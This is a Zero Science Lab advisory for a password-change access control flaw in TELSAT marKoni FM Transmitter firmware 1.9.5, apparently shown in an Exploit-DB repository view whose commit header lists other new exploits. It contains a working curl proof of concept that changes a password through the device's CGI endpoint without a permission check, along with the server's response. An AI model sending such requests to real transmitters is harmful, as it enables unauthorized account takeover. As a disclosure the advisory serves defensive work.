bbffa273d4
13 changes to exploits/shellcodes/ghdb TELSAT marKoni FM Transmitter 1.9.5 - Backdoor Account Information Disclosure TELSAT marKoni FM Transmitter 1.9.5 - Insecure Access Control Change Password TELSAT marKoni FM Transmitter 1.9.5 - Root Command Injection Atlassian Confluence < 8.5.3 - Remote Code Execution Backdrop CMS 1.23.0 - Stored XSS Gibbon LMS < v26.0.00 - Authenticated RCE Quick.CMS 6.7 - SQL Injection Login Bypass TYPO3 11.5.24 - Path Traversal (Authenticated) WEBIGniter v28.7.23 - Stored XSS WordPress File Upload Plugin < 4.23.3 - Stored XSS xbtitFM 4.1.18 - Multiple Vulnerabilities ZoneMinder Snapshots < 1.37.33 - Unauthenticated RCE
54 lines
No EOL
1.6 KiB
Text
54 lines
No EOL
1.6 KiB
Text
TELSAT marKoni FM Transmitter 1.9.5 Insecure Access Control Change Password
|
|
|
|
|
|
Vendor: TELSAT Srl
|
|
Product web page: https://www.markoni.it
|
|
Affected version: Markoni-D (Compact) FM Transmitters
|
|
Markoni-DH (Exciter+Amplifiers) FM Transmitters
|
|
Markoni-A (Analogue Modulator) FM Transmitters
|
|
Firmware: 1.9.5
|
|
1.9.3
|
|
1.5.9
|
|
1.4.6
|
|
1.3.9
|
|
|
|
Summary: Professional FM transmitters.
|
|
|
|
Desc: Unauthorized user could exploit this vulnerability to change
|
|
his/her password, potentially gaining unauthorized access to sensitive
|
|
information or performing actions beyond her/his designated permissions.
|
|
|
|
Tested on: GNU/Linux 3.10.53 (armv7l)
|
|
icorem6solox
|
|
lighttpd/1.4.33
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
Macedonian Information Security Research and Development Laboratory
|
|
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2024-5811
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5811.php
|
|
|
|
|
|
10.11.2023
|
|
|
|
--
|
|
|
|
|
|
PoC request of a user changing his own password.
|
|
Only admin can edit users. No permissions or Cookie check.
|
|
|
|
$ curl -s -H "Cookie: name=user-1702119917" \
|
|
http://10.0.8.3:88/cgi-bin/ekafcgi.fcgi?OpCode=4&username=user&password=user&newpassword=t00tw00t
|
|
|
|
HTTP/1.1 200 OK
|
|
Content-type: text/html
|
|
Cache-control: no-cache
|
|
Set-Cookie: name=user-1702119917; max-age=315360000
|
|
Transfer-Encoding: chunked
|
|
Date: Sat, 9 Dec 2023 11:05:17 GMT
|
|
Server: lighttpd/1.4.33
|
|
|
|
oc=4&resp=0 |